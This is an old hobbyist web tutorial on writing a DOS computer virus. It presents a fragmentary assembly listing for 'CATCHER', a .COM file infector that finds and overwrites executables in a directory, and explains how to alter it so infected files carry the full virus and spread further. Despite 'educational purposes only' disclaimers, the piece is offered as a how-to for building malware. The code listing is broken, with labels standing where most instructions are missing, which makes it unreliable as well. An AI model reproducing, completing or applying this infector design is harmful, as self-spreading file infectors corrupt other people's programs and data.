VIRUSES, A NEW
DEFINITION
BROUGHT
TO YOU BY PRABIN
| Author | Prabin |
| Target | Learn about Viruses |
| Public Release | March 5,2003 |
| Author Contact | [email protected] |
| Website | http://www.geocities.com/prabinpebam |
| Difficulty Level (1-7) | 1 |
| Tools Required | Hiew 6.x |
Warning: This document is for
Educational purposes only.
You know playing with viruses can
get you in trouble so don't be stupid, use at your own risk!
|
|
Hi, sorry for
the inactivity. I have been hearing about viruses quite often and
I feel like making one of my own, so
far I am able to code a virus that can search a whole directory and infect
any type of files that's
in it.
|
|
First of all,
there are lots different types of viruses.
What the heck, I wanna make this tutorial longer so
I put the brief descriptions:
|
;CATHCER.ASM
.MODEL TINY ; code and date are in same segment .CODE ORG 100H ; start code at 100h START:
STARTOVER:
FINDNEXTFILE:
INFECTFILE:
MOV AH, 40H ; function
40h of int 21h is WRITE FILE
VIRALMSG:
ERROR:
FILESPEC DB "*.COM",00 VIRIICODE:
MOV AH, 09H ; PRINT STRING
VIRMSG DB "If a body meet a body",13,10
VIRIICODEND LABEL NEAR
END START
|
The virus starts,
finds the first .com file in the current directory, infects the file with
the virus
code that displays
the POEM and then loops and finds the next .com file and infects it too.
It continusly
loops until the Carry Flag is set, which either means an error occurred
or no more
files of that
kind are found. When you run the infected .com files, those .com
files will not infect
other .com files
because CATCHER only wrote the codes to display the POEM. You can
change it
so it infects
the .com files with the whole virus code so the infected .com file will
go on to infect
other .com files
when they are executed too.
To get help on all the interrupts, get Ralf Browns Interrupt
List!
That's the best and most complete list of Interrupt
functions available.
|
|
This page is meant for ducational purpose only. Now that you have gone through this page, you must have learn a little more about viruses. Before playing with your viruses, consider the consequences.
For further
informations write to [email protected]
Property of http://www.geocities.com/prabinpebam
|
|